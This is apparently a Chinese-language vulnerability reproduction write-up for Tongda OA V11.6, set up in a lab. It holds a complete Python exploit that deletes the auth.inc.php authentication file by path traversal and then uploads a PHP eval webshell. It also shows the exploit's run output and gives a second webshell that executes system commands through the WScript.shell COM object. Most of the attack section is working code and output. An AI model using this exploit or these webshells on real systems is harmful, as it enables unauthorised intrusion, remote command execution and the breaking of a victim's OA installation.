环境搭建
通达OA V11.6 下载地址https://pan.baidu.com/s/1rTnsKtiB5HDvzp4FoKdMFw 提取码:Mo60
然后进行安装即可
访问
使用默认账号admin 空密码 登入
提示:该漏洞并不是无损的,如果成功利用后会删除程序中的php文件会导致程序功能无法使用
漏洞复现
这里使用exp直接打,利用成功会在根目录下生成一句话_oatest.php密码为t
import requestspayload="<?php eval($_POST['t']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")target=input("Please enter URL: ")input("Press enter to continue!")print("[*]Deleting auth.inc.php....")url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('oatest.php', payload)}requests.post(url=url,files=files)url=target+"/_oatest.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file")
运行后输入url然后回车确认运行即可,这里还是提示一下此漏洞并不是无损的!
>exp.py[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OAPlease enter URL: http://192.168.0.110:8080/Press enter to continue![*]Deleting auth.inc.php....[*]Checking if file deleted...[+]Successfully deleted auth.inc.php![*]Uploading payload...[+]Filed Uploaded Successfully[+]URL: http://192.168.0.110:8080//_oatest.php
任意文件删除,exp是删除了验证文件然后进行文件上传
/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php
来到靶机处查看文件成功被写入
默认禁用了一些函数会导致无法执行命令这里使用其他方法去执行
<?php $command=$_GET['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>
后话
再次登入发现页面已经不成样子
只要把auth.inc.php重新移动到webroot/inc/目录下即可,该文件我也放在了百度网盘链接里,如果各个版本的auth.inc.php文件结构没有大变动的话应该都是可以的
2017版本的也可以被利用,2019版本的都不行,这里测试的版本为V11.6